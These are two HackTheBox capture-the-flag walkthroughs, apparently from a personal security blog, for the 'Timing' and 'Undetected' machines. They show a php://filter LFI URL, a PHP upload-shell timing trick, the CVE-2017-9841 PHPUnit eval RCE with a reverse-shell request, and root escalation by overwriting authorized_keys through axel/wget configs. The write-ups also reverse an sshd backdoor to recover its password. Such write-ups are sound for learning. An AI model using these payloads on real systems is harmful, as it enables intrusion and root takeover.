1 | http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php |
this php filter to bypass the filter and read the files. It gives output in base64 encoded format, so we need to decode it to understand.
We got the encoded information, let’s decode it.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
We can directly decode it and grep for user details. We got ‘aaron’ user. Now we can read files local files which we found in our initial directory brute force.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
‘Upload.php’ gives us another piece of information. But it only works if we have access to upload functionality. There’s Authentication check file, let’s look into it first.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
To access upload feature the user should have a ‘role 1’, if not, this feature is not available. Now we need to find a way to login. There are no any files which has login details. However, if we login using previously found user ‘aaron’ as username and password, then it’d give you dashboard.
It say’s logged in as user 2.
The only way to edit the role is when we update user profile. Let’s edit the profile and intercept the update request in burp.
No need to change anything from the above input, as it only concerns about role ID.
1 | POST /profile_update.php HTTP/1.1 |
Add the role to data and forward the request and refresh the page. You will see ‘admin panel’
Admin panel has upload image feature.
Now it’s time to look into ‘upload.php’ code.
1 | $upload_dir = "images/uploads/"; |
Above code is what we will look into. Uploaded files will be moved to ‘/images/uploads/‘ directory. File Extension must have ‘jpg’, and upon upload the filename will be changed to MD5 sum. The logic behind creating this MD5 sum is, it takes two things as input, ‘$file_hash’ and ‘time())’ and then adds the base filename of uploaded file to that hash.
According to PHP, uniqid() function generates a unique ID based on the microtime (the current time in microseconds). In PHP single quote (‘) and double quote(“) have different meanings and interpretations.
Single quoted strings will display things almost completely “as is.”. Double quote strings will display a host of escaped characters (including some regexes), and variables in the strings will be evaluated.
So, uniqid() is just a rabbit hole, it is taking $file_hash as string to generate MD5 hash. However, time()) is also being used as factor to generate MD5. It is considering current time in seconds, that means every second will get a new hash. We need to match the upload time to get the right hash. For that we need to make sure our local machine time is not far behind or a head.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
You can check the date and match it with your time using nmap. Target is ‘-16’ seconds behind from my local time. You just need to confirm time, make sure to set your time to GMT.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Create a jpg file with PHP code which can give code execution access. Now we need to start a PHP interactive shell, where we run continuously run PHP code to generate hash based on time and string.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Keep it going, do not terminate it. Now we need to upload that recently created jpg file, intercept the upload request, send it to repeater, check the response time and match the time with PHP hash.
1 | HTTP/1.1 200 OK |
Check burp response time and find the matching hash of that time from PHP interactive session.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Response time is 15:26:25 Copy the hash, add the base filename of uploaded jpg file and access it via img query parameter.
Initial Access
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
As you can see we have a code execution. This machine will not easily provide you reverse shell, as firewall (iptables) are in place to block outgoing request from a www-data user.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
‘/opt’ directory has a backup of website. Let’s download it first.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
We can’t directory access the zip file, so copy it to uploads Directory and from there we can download it.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Extract or unzip the file and you will .git repository.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing/backup] |
Let’s git commits using gittools.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing/backup] |
After commit extraction, you will see two directories. Now we need to find what has changed in terms of code.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing/backup/source] |
Database connection credentials has been modified. Let’s try these creds on user SSH login.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
The second password is being reused as ‘aaron’ user’s password.
Privilege Escalation - root
1 | aaron@timing:~$ sudo -l |
User can run a binary with root privileges. Let’s look into it.
1 | aaron@timing:~$ file /usr/bin/netutils |
It is a shell script, running a java application from root’s directory. Let’s interact with it.
1 | aaron@timing:~$ sudo /usr/bin/netutils |
Upon execution of the binary, it gives us two options, FTP and HTTP. Setup a HTTP server on Kali and download test file.
1 | aaron@timing:~$ sudo /usr/bin/netutils |
After download check the downloaded file in ‘aaron’ user’s home directory or current working directory.
1 | aaron@timing:~$ ls -la test.txt |
As you can see the file permissions are of root user and ‘aaron’ user has read access to it. We still don’t know what’s happening behind scene. Let’s run a pspy in one SSH terminal and in another execute sudo binary to find what’s happening.
1 | 2021/12/15 10:28:04 CMD: UID=0 PID=74557 | wget -r ftp://10.10.14.30 |
These two applications are being used behind the scene to download files. FTP is using wget and HTTP is using Axel application. We can get the ‘Axel’ application version via netcat.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
The user agent disclose application version. This version has no any CVEs. ‘Axel’ application has a configuration file via that we can dump our SSH public keys as authorized_keys.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
If you are on kali, you will find example axelrc file.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
This ‘default_filename’ will be activated when downloading something without any filename from ‘axel’.
1 | aaron@timing:~$ sudo /usr/bin/netutils |
As you can see from the above example, to download I didn’t provide any file name. Even thou it dowloaded something and saved it as ‘default’
1 | aaron@timing:~$ ls -la default |
If we read the ‘default’ file, then we will see HTML format of directory listing page.It just download the whole page and saved it as ‘default’. If we look closely, all the downloaded files have root’s permissions. We can use it our advantage.
1 | cat axelrc |
Change the ‘default_filename’ to ‘/root/.ssh/authorized_keys’, save it. Download this file to ‘aaron’ user’s home directory and save it as .axelrc.
If we download something without providing file name then it will be dumped into ‘root’ directory. So we will dump our Kali SSH public key and save it as ‘authorized_keys’. But as we saw previously, it saves it in HTML format. For that we need to create new directory and save your Kali public key as index.html
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Now we are set to execute this. Setup a HTTP server where your Kali SSH key file is and download it via netutils HTTP option.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
1 | aaron@timing:~$ sudo /usr/bin/netutils |
and we are root now
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
privesclation via WGET (FTP)
There’s another method to do the same thing, but with WGET (FTP). This can be done by wgetrc
- Wgetrc Commands (GNU Wget 1.21.1-dirty Manual)
1 | aaron@timing:~$ cat .wgetrc |
Create a wget configuration file in ‘aaron’ users home directory. Setup a FTP server on Kali Linux.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Make sure you have authorized_keys file and start a python FTP severe.
1 | aaron@timing:~$ sudo /usr/bin/netutils |
1 | [I 2021-12-18 18:36:43] 10.10.11.135:35200-[anonymous] USER 'anonymous' logged in. |
After this, you can login via SSH from Kali Linux.
1 | ┌──(root💀kali)-[~/hackthebox/machine/timing] |
Summary of knowledge
- dir brute with gobuster
- LFI bypass with php://filter
- get file upload shell name using PHP interactive shell check the response time and match the time with PHP hash
- .git leak ssh password
- Privilege Escalation through shell script
- pspy find suspicious process
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
异常二进制与共享库后门
PHPUnit 提供入口,随后以文件修改时间定位可疑程序和共享库。Base64、字节序与 XOR 的还原过程来自原逆向记录。
来源 undetected · 原记录 2022-02-24 · 31 个代码块 · 10 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Medium
Points: 30
Release: 19 Feb 2022
IP: 10.10.11.146
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
We have two open ports. Let’s look into web.
Web Page has a link pointing to a vhost.
1 | <li class="menu-item"><a href="http://store.djewelry.htb">STORE</a></li> |
Let’s add hostname and vhost to our hosts file and access vhost.
This page has login feature and we can add jewelry to our cart. However, if try to access login/account it will give you this below message.
1 | NOTICE |
Let’s do a directory brute force.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
We have ‘vendor’ directory which we can look into it first.
We have lot of directory’s. Out of all, ‘phpunit’ leads to foothold.
PHPUnit is a programmer-oriented testing framework for PHP. It is an instance of the xUnit architecture for unit testing frameworks.
1 | http://store.djewelry.htb/vendor/phpunit/phpunit/ |
As you can see from the above list of change logs, the last version is 5.6 and if we check the readme file, it gives us the date of release.
This version is quite old. If we check for any vulnerabilities of this version then we’d find CVE-2017-9841
- CVE-2017-9841
This version has an RCE. Vulnerability is located in /phpunit/src/Util/PHP/eval-stdin.php file. Below is the vulnerable code.
1 | eval('?>'.file_get_contents('php://input')); |
This can be used to run arbitrary code. Let’s try to run a simple payload which evaluates and gives the value of ‘Pi’.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
As you can see, we got the value of Pi.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
This can also possible with Burp Suite.
We have working RCE.
Let’s get a reverse shell. Setup a listener and run bash one-liner.
1 | GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 |
Let’s see how many user have shell access.
1 | www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ grep 'bash' /etc/passwd |
We have three users. But If we check ‘home’ directory.
1 | www-data@production:/home$ ls |
We will find only one users directory here. Not sure what’s happening here. Let’s find any escalation points. Let’s run Linpeas.
1 | ╔══════════╣ Interesting writable files owned by me or writable by everyone (not in |
Linpeas reveal an interesting file which is owned by www-data. It’s in backups directory. Let’s investigate that file.
1 | www-data@production:/home$ file /var/backups/info |
It’s a binary. If we run strings on it, then we’d find this hex value.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
Let’s convert this hex to ascii.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
We have bash command which’s doing downloading and appending. We also have a password hash. There are slashes to escape $ character, remove those and crack it.
1 | hashcat.exe -a 0 -m 1800 password.txt rockyou.txt |
We got the password. Let’s try to use it on one of the two stevens account.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
get root
Password worked on ‘steven1’ user, not ‘steven’. When we ran Linpeas first time, it gave this below information about mail.
1 | ╔══════════╣ Mails (limit 50) |
www-data didn’t have permission to read, but now we have. Let’s read it.
1 | steven@production:~$ cat /var/mail/steven |
This mail mentions about ‘Apache Service’ is acting strangely, so they have moved DB to somewhere else. Apache service directory is located in ‘/usr/lib’.
1 | steven@production:~$ ls -la /usr/lib/apache2/ |
We have read and execute access. Let’s look into that ‘modules’ directory.
1 | steven@production:/usr/lib/apache2/modules$ ls |
There are two many file, let’s sort them based on creation time.
1 | steven@production:/usr/lib/apache2/modules$ ls --full-time -i | sort -u |
This above file is modified quite recently. Let’s download it on Kali and reverse it. Open it with Ghidra.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
One of the functions is ‘b64_decode’. It is being called in an function.
As you can see in decompiler, it gives us the base64 encoded data. Let’s decode it.
1 | ┌──(root💀kali)-[~] |
It’s outputting a image data into ‘sshd’ binary. Let’s Download that file and run it via Ghidra.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
As you can see from the above image, there’s a backdoor in ‘Auth-Password’ function. From decompiler, we can safely guess that the password is ’31’ character.
1 | int auth_password(ssh *ssh,char *password) |
Looking at the backdoor, I believe we need to stack them up from high to low as below
1 | backdoor[30] = -0x5b; |
Now we have ordered them accordingly. We have to convert this endianness to Hex and from HEX to XOR.
1 | https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',31,true)From_Hex('Auto')XOR(%7B'option':'Hex','string':'96'%7D,'Standard',false)&input=MHhhNWIKMHhhOWY0CjB4YmNmMGI1ZTMKMHhiMmQ2ZjRhMGZkYTBiM2Q2CjB4ZmRiM2Q2ZTcKMHhmN2JiZmRjOAoweGE0YjNhM2YzCjB4ZjBlN2FiZDY |
As you can see the output is blob. Then I checked the input values.
I have been using one invalid value. The correct value is 0xa5
1 | https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',31,true)From_Hex('Auto')XOR(%7B'option':'Hex','string':'96'%7D,'Standard',false)&input=MHhhNQoweGE5ZjQKMHhiY2YwYjVlMwoweGIyZDZmNGEwZmRhMGIzZDYKMHhmZGIzZDZlNwoweGY3YmJmZGM4CjB4YTRiM2EzZjMKMHhmMGU3YWJkNg |
Now we have the backdoor password.
1 | @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3 |
Let’s login via SSH and read root flag.
1 | ┌──(root💀kali)-[~/hackthebox/machine/undetected] |
Summary of knowledge
- phpunit CVE-2017-9841 backdoor rce t0 get shell
- linux binary reverse to base64 decode to get shadow hash
- hashcat crack shadow hash
- ghidra reverse .so backdoor
- use cyberchef “swap endianness”, “from hex”, “xor” to get root password
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…



























